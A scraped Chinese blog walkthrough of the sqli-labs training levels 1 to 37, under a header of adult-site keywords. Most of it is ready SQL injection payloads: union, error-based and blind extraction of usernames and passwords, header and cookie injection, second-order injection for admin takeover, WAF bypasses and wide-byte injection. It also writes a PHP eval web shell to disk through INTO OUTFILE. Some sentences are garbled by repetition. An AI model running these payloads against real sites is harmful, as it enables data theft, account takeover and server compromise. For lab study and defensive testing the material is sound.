日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

sqli-lib1-36关 精选篇

發布時間:2024/6/1 编程问答 55 豆豆
生活随笔 收集整理的這篇文章主要介紹了 sqli-lib1-36关 精选篇 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

文章目錄

  • 題目-持續更新
    • Less-1~10 GET型注入題
    • Less11~22 POST型注入題
    • Less23~32 WAF繞過
    • Less32-37 寬字節注入
    • 數據庫信息

題目-持續更新

Less-1~10 GET型注入題

? 基本的一些聯合查詢注入

Less-1.字符型 規定id=1,2,3 構造閉合 id=-1’ 內容 #

Less-2.數字型 直接加SQL語句 id=-1 內容

Less-3.字符型 閉合方式是(‘ 內容 ’) 構造的閉合語句是id=-1’) 內容 #

Less-4.字符型 閉合方式是(“ 內容 ”) 構造的閉合語句是 id=-1”) 內容 #

?

? 雙查詢注入(利用報錯信息)(頁面上沒有顯示位但是有sql語句執行錯誤信息輸出)

Less-5.字符型 閉合方式 單引號 id=-1’ 內容 #

?id=1' union select 1,count(*), concat(查詢語句 ), floor(rand()*2))as a from information_schema.tables group by a --+

Less-6 字符型 閉合方式 雙引號 id=-1” 內容 #

導出文件注入

Less7.字符型 閉合方式(('內容 ‘)) 構造的閉合語句是 id=-1’)) 內容 #

獲取文件導入導出允許路徑,利用@@datadir->數據庫存儲路徑 @@basedir->mysql安裝路徑

將寫入惡意代碼的內容查詢結果導出到本地,菜刀連接

union select 1,2,'<?php @eval($_POST["cmd"]);?>' into outfile "路徑地址" --+
  • 1

Ps:這里需要開啟mysql的導入導出文件權限,在my.ini配置secure_file_priv =
查看文件 load_file()函數
寫入文件 into outfile -mysql語句

盲注

布爾盲注

Less-8.字符型 閉合方式 單引號 構造的閉合語句是 id=1‘ 內容#

? 思路:利用ascii(),substr(),二分法查找

? 判斷列數->判斷數據庫名長度->爆破數據庫名->判斷表數量->表名長度->表名->字段數->字段長度->字段值->

? 數量—count,長度—length , 值—ascill+substr+二分法

? 注意:mysql的substr的開始位置是”1“ substr(“xxx”,1,1)

判斷數據庫名長度 id=1' and length(database())=8 #

猜測數據庫名
id=1’ ascii(substr(database(),1,1))>65 # 通過二分法查找對數據庫名一個個拆分判斷名字

猜測數據庫的表數量:
id=1’ and (select count(table_name) from information_schema.tables where table_schema=database())=5 #

對第1、2…的表進行具體猜測表名長度和表名
id=1’ and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=1 #
id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>65 #

判斷字段數
id=1’ and (select count(column_name) from information_schema.columns where
table_name=‘users’)=1 #

判斷字段長度 字段名
?id=1’ and (select length(column_name) from information_schema.columns where table_name=‘users’ limit 5,1)=8 #
?id=1’ and ascii(substr((select column_name from information_schema.columns where table_name=‘users’ limit 3,1),1,1))>97 #

猜測數據
?id=1’ and ascii(substr((select username from users limit 0,1),1,1))=68 #

  • ? 時間注入

    Less-9.字符型 閉合方式 單引號 構造的閉合語句是 id=1‘ 內容#

    ? 因為不論輸入什么,界面返回的都是一樣的

    ? 因此我們使用時間注入sleep函數,根據頁面放回時間判斷我們所給條件是否正確

    ?id=1'and if((substr((select database()),1,1)='s'),sleep(5),null);%23
    • 1

    ?

    Less11~22 POST型注入題

    Post:http request請求的一種,數據從客戶端提交到服務器端,之后再由服務器端進行驗證

    多使用于用戶登錄模塊、網站的留言板模塊等

    建議:Post注入的數據提交測試配合工作使用 hackbar或burp

    基本的一些聯合查詢注入

    Less-11.字符型 構造閉合 1’ 內容 # Post提交內容 uname=1‘內容 #& passwd=xxxx

    ? 當然對于登錄界面我們都可以嘗試萬能密碼去登錄看看

    ? Post提交數據:uname=1’or‘1’=1 # & passwd=xxxx

    ? Ps: 萬能密碼,利用邏輯漏洞使查詢的sql語句條件成立

    ?

    Less-12.字符型 構造閉合 1") 內容 # Post提交內容 uname=1")內容 #& passwd=xxxx

    雙查詢注入(利用報錯信息)(頁面上沒有顯示位但是有sql語句執行錯誤信息輸出)

    Less-13.字符型 構造閉合 1’) 內容 # Pots提交內容 uname=1‘)內容 #& passwd=xxxx

    ? (1)雙查詢

    uname=ad') union select 2,count(1) from information_schema.tables group by concat(floor(rand()*2),(select concat(username,password) from users limit 1,1))#&passwd=admi

ps:這里限制了輸出長度 無法使用group_concat輸出整個表

? (2)利用函數報錯 extractvalue() 或UPDATEXML()

unameu=1admin') and extractvalue(1,concat('~',(select password from users limit 1,1),'~')) # &passwd=2312

Ps:該函數最多輸出32字節 需配合substr或limit 使用

Less-14.字符型 構造閉合 1" 內容 # Pots提交內容 uname=1‘)內容 #& passwd=xxxx

? 注入語句參考Less-13

盲注

布爾盲注/時間盲注

Less-15.字符型 構造閉合 1‘ 內容 # Pots提交內容 uname=1‘)內容 #& passwd=xxxx

? 思路:頁面根據登錄只放回兩種情況,成功和不成功

? 利用布爾值判斷 當我們給定一個數據庫已存在的username,進行構造閉合語句

uname=admin'and 判斷語句# &passwd=xxxx Ps:使用and連接兩個條件 判斷語句條件成立即放回登錄成功頁面

? 具體語句參考Less-8布爾盲注

Less-16.字符型 構造閉合 1") 內容 # Pots提交內容 uname=1‘)內容 #& passwd=xxxx

更新查詢 報錯注入

Less-17.字符型 構造閉合 1‘ 內容 # Pots提交內容 uname=admin& passwd=123 ’ 內容#

? 這里構造的閉合語句在passwd(具體看源碼sql查詢語句)

? 要求:用戶名要填寫正確,根據邏輯判斷,先判斷用戶名是否存在,存在才會進行update語句

? 構造語句:利用函數報錯注入

unameu=admin &passwd=123') and extractvalue(1,concat('~',(查詢語句),'~')) #

Ps:當我們查詢users表會報錯:
You can’t specify target table ‘users’ for update in FROM clause
(不能在對同一個表update的同時select)
解決思路:進行嵌套查詢,要注意添加一下別名(這是規則),否則會報錯
例:
uname=admin&passwd=123’ and updatexml(1,concat(0x7e,(select group_concat(password) from (select password from users) as aaa),0x7e),1) #

注意:當我們對存在更新操作的地方進行嘗試sql注入時,一定要注意語句的邏輯問題和正確性,否則可能會造成不可估量的后果(這里的后果特別指明,如果你后期嘗試挖漏洞,別一不小心把別人的數據全改了) 我在不知道正確的注入語句情況下一頓花里胡哨的把密碼全改成123456了 幸虧這是本地 數據少 萬一… 懂就好

HTTP頭(header)注入

httpt頭部常用關鍵字

Accept: 瀏覽器能夠處理的內容類型 Accept-Charset: 瀏覽器能夠顯示的字符集 Accept-Encoding:瀏覽器能夠處理的壓縮編碼。 Accept-Language: 瀏覽器當前設置的語言。 Connection:瀏覽器與服務器之間連接的類型 Cookie:當前頁面設置的任何Cookie Host:發出請求的頁面所在的域。 Referer:發出請求的頁面的URI。 User-Agent:瀏覽器的用戶代理字符串 Server: WEB 服務器表明自己是什么軟件及版本等信息。例如:Server:Apache/2.0.61 (Unix)

Less-18.字符型 注入位置:請求頭的User-Agent:的位置 單引號閉合

? 構造閉合: xxxx‘ 報錯函數注入語句 and ‘1’=1

查看源碼,發現這里的username和passwd使用了check_input函數進行檢查,無法注入,但后面有一段插入的SQL語句可以實現注入,根據頁面登錄情況,當登錄成功,會放回user-Agant的信息,那么我們就嘗試在該header頭 進行SQL注入


在user-Agant: xxx 后插入語句

' and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '1'='1
  • 1

Less-19.字符型 注入位置:請求頭的Server: 的位置 單引號閉合

? 構造閉合: xxxx‘ 報錯函數注入語句 and ‘1’='1 (可參考less-18)

Less-20.字符型 注入位置:請求頭的Cookie: 的位置 單引號閉合

? 構造閉合: xxxx‘ 報錯函數注入語句 and ‘1’='1

? 對cookie的請求頭注入前提是已經登錄成功獲得了cookie值

?

當然也可以用聯合查詢 注意要將前面的cookie條件設為假 Cookie: uname=admin' and 1=0 union select 1,2,database()%23
  • 1
  • 2

?

Less-21.字符型 注入位置:請求頭的cookie: 的位置 單引號閉合

構造閉合:base64加密–> xxxx‘ 報錯函數注入語句 and “1”="1
登錄后發現cookie被base64加密 ,對原注入語句base64加密后再傳回給cookie

Less-22.字符型 注入位置:請求頭的cookie: 的位置 雙引號閉合

? 構造閉合:base64加密–> xxxx“ 報錯函數注入語句 and “1”="1
登錄后發現cookie被base64加密 ,對原注入語句base64加密后再傳回給cookie

Less23~32 WAF繞過

報錯注入+黑名單(注釋符過濾)

Less-23.字符型 規定id=1,2,3 構造閉合 id=-1‘ sql語句‘

? 這里對注釋符進行的過濾 # --+都會被替換成 “ 符號

id=-1'union select 1,database(),3'
  • 1

? ps:這里因為過濾了注釋符,所以無法使用 order by 判斷列數
但我們可以通過 union select去判斷列數

?id=0' union select 1,2,' 后臺是' $id ' mysql執行語句就是0 union select 1,2,' ' ;后面的單引號閉合進行查找三列數據

二次注入

Less-24 這道題的重點不在于爆數據 而在于獲得admin權限

? 進入是一個登陸框,我們進行新建賬號 : admin’# 密碼:123456(隨意都行)

登陸admin’#用戶,并修改密碼

執行的sql語句 UPDATE users SET passwd="New_Pass" WHERE username =' admin' # ' AND password='xxxx'

后臺執行就變成了 UPDATE users SET passwd=“New_Pass” WHERE username =’ admin’

? 最后admin賬號就可以用修改后的新密碼登錄了

? 這樣我們注入目的就達到了

WAF繞過

白盒繞過、黑盒繞過、fuzz測試

就看你思路騷不騷,猥不猥瑣

雙寫繞過

or->||

空格繞過 %09 TAB鍵(水平) %0a 換行 %0c 新的一頁 %0d return功能 %0b TAB鍵(垂直) %a0 空格 /**/ + ()
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10

Less-25 字符型 規定id=1,2,3 構造閉合 id=-1‘ sql語句 # 基于報錯的注入型

這里會對 or 和 and進行過濾 嘗試雙寫繞過 遇到判斷 and or被替換成空字符后 aanddn->and oorr ->or

源碼內容為:


因為只是過濾了or和 and 并不影響正常使用union查詢 但要注意 password 單詞因為里面有or 所有會被過濾,記得雙寫變成passwoorrd

例如 執行語句:

?id=-1'union select 1,2,(select group_concat(concat_ws("|",username,passwoorrd)) from users)#
  • 1

Less-25a 數字型 規定id=1,2,3 構造閉合 id=-1 sql語句

過濾了 and和 or 字符

?id=-1 union select 1,2,(select group_concat(concat_ws("|",username,passwoorrd)) from users)
  • 1

Less-26 字符型 規定id=1,2,3 構造閉合 id=-1‘ sql語句’ 基于報錯的注入型

這里過濾了or and 注釋符 特別還有空格 ,所有我們的sql語句select username …就會變成selectusername

所以我們的關鍵點在于如何繞過這個WAF,用某特殊值代替” 空格 “

嘗試多種繞過 最后%A0可以替換空格

?id=0'union%A0select%A0 =1,2,database()'
  • 1

使用報錯注入可以是

?id=-1'||updatexml(1,concat('~',database(),'~'),3)||'
  • 1

Ps:本關在windows下可能無法使用一些特殊的字符代替空格,會變成?字符,在linux平臺下可以實現(我沒還沒搞懂為什么,如果有大佬弄明白了 帶帶我awsl)

Less-26a 字符型 規定id=1,2,3 構造閉合 id=-1‘)sql語句(’ 盲注

? 參考-26,過濾了空格和注釋

Less-27 字符型 規定id=1,2,3 構造閉合 id=-1‘ sql語句’ 基于報錯的注入型

這里主要是對union和select的繞過 查看源碼的waf

通過雙寫繞過,這里的select應該是連續判斷了2次,寫入三次也可以繞過,雙寫的目的就是通過preg_replace匹配時會執行一次替換,但我們進行雙寫其中的一個替換為了空,那么就使得拼接成了一個select

注入語句參考:(這里的%0a代替了空格符)

?id=0'ununionion%0a selselselectectect%0a1,2,(selselselectectect%0agroup_concat(concat_ws("|",username,password))%0afrom%0ausers)'
  • 1

Less-27a 字符型 規定id=1,2,3 構造閉合 id=-1“sql語句" 報錯注入

? 參考27

Less-28 規定id=1,2,3 構造閉合 id=-1’) %26%26sql語句&&‘1’=('1 盲注無報錯回顯

這里的閉合語句是(’$id’) 但因為注釋符都被過濾,因此無法將后面的”)“去除 只能利用時間注入來進行注入 %26是&的意思

?id=1')%26%26if((substr((select%0adatabase()),1,1)='s'),sleep(2),null)%26%26'1'=('1
  • 1
  • 2

?

在查看大量wp 突然學到一種新思路 tql了 學習學習 對于(“內容”)的閉合語句 (可以去Less-3自己實驗看看)

?id=0')union select 1,2,('3
  • 1

Less-28a 規定id=1,2,3 構造閉合 id=-1’) %26%26sql語句&&‘1’=('1 盲注無報錯回顯

? 參照Less-28 但這里的源碼其實只對select和union過濾了 其他的注釋符等都可使用,

? 但既然是學習我們還是應該將它們當做無法使用

服務器WAF

Less-29 字符型 規定id=1,2,3 構造閉合 id=1 &&id=0’ sql語句 %23 web服務器WAF繞過

? 這道題其實提供了兩個url 一個是index.php(參考界面) 另一個是login.php(注入界面)

? 我們訪問login.php提交參數?id=1 但只要提交非數字 就會進行頁面跳轉到

查看源碼內容,他這里用的兩種不同的方法進行獲取id,并且對利用id,并且對利用id,并且對利用id,并且對利用id,并且對利用 id,并且對利用id,id,id,id,_SERVER[]獲取的id值進行了一波檢測,也就是當我們傳入的參數存在非0-9數字時,進行頁面跳轉 。

大致概況一下就是,這里在原Apach(php)服務的基礎上加了一層以Tomcat(jsp)的WAF,當我們提交參數時,首先WAF對參數進行判斷,然后再提交給Apach,并將結果返回給客戶端,因此我們可以基于這兩個不同的服務器,進行HPP(http參數污染攻擊)

ps: HPP原理可以見我的另一篇博客:https://blog.csdn.net/weixin_43669045/article/details/105293023

因為WAF是jsp 我們可以根據服務器處理方式的不同,構造下面語句:

?id=3&&id=-1'union select 1,3,(select group_concat(concat_ws("|",username,password)) from users)%23
  • 1

Less-30 字符型 規定id=1,2,3 構造閉合 id=1 &&id=0“ sql語句 %23 web服務器WAF繞過

雙引號閉合 具體參考 Less-29
  • 1
?id=3&&id=-1"union select 1,3,(select group_concat(concat_ws("|",username,password)) from users)%23
  • 1

Less-31 字符型 規定id=1,2,3 構造閉合 id=1 &&id=0“) sql語句 %23 web服務器WAF繞過

雙引號+括號閉合 具體參考 Less-29
  • 1
?id=3&&id=-1") union select 1,3,(select group_concat(concat_ws("|",username,password)) from users)%23
  • 1

Less32-37 寬字節注入

寬字節注入

Less-32 字符型 規定id=1,2,3 構造閉合 id=1%bf%27 sql語句 %23

? 嘗試正常注入 id=1’ 但發現放回的信息是 id =1\’ 逗號被注釋 ,還有16進制的提示

? 這里我們要進行的是寬字節注注入

? Ps:寬字節原理:數據庫與web前端未統一所使用的字符集,導致各種對字符的解析存在差異,利用該 漏洞實現寬字節注入,前端將雙字節字符認為是兩個字節,后端mysql雙字節是一個漢字,當我們 提交?id=1’ 前端php的函數檢測到特殊字符 進行轉義為 id =1\’ ,這時候我們利用寬字節注入 提交 ?id=1%5f’ 前端php檢測是 ?id=%bf%5c%27 mysql運行就變成了 id=1 ?’ (bf5c轉義成 ?)

? 構造語句:

?id=0%bf'union select 1,2,(select group_concat(concat_ws(0x7e,username,password)) from users)%23
  • 1

Less-33 字符型 規定id=1,2,3 構造閉合 id=1%bf%27 sql語句 %23

? 這里的構造方式與less32一樣,這兩道題唯一的區別在于 該題直接使用的是php通過的addslashes()函數對指定的字符進行轉義,而less-32是自己寫了一個自定義函數進行轉義

Less-34 字符型 Post注入 繞過gaddslashes()函數

? 將get類型該為post型 一樣利用寬字節注入

uname=1&passwd=1%bf' union select 1,(select group_concat(concat_ws(0x7e,username,password)) from users)#
  • 1

Less-35 數值型注入 id=1,2,3 構造閉合 id=0 sql語句

? 不需要關心引號是否被過濾,直接構造payload:

?id=0 union select 1,2,(select group_concat(concat_ws(0x7e,username,password)) from users)
  • 1

Less-36 字符型 規定id=1,2,3 構造閉合 id=1%bf%27 sql語句 %23

使用了mysql_real_escape_string()函數,多過濾一些東西,但是對于注入語句來說沒什么影響,和32關做法一模一樣,單引號閉合,注入語句都一樣。 直接參考Less-32

mysql_real_escape_string()函數受影響字符

\x00 \n \r \ ' '' \x1a

Less-37 字符型 Post注入 繞過mysql_real_escape_string()函數

? 將get類型該為post型 一樣利用寬字節注入

uname=1&passwd=1%bf' union select 1,(select group_concat(concat_ws(0x7e,username,password)) from users)#
  • 1

數據庫信息

數據庫名:security

提供的數據庫信息
表名:emails,referers,uagents,users

字段:emails :->id,email_id
referers:->referer,ip_address
uagents :->id,uagent,ip_address,username
users :->id,username,password

總結

以上是生活随笔為你收集整理的sqli-lib1-36关 精选篇的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。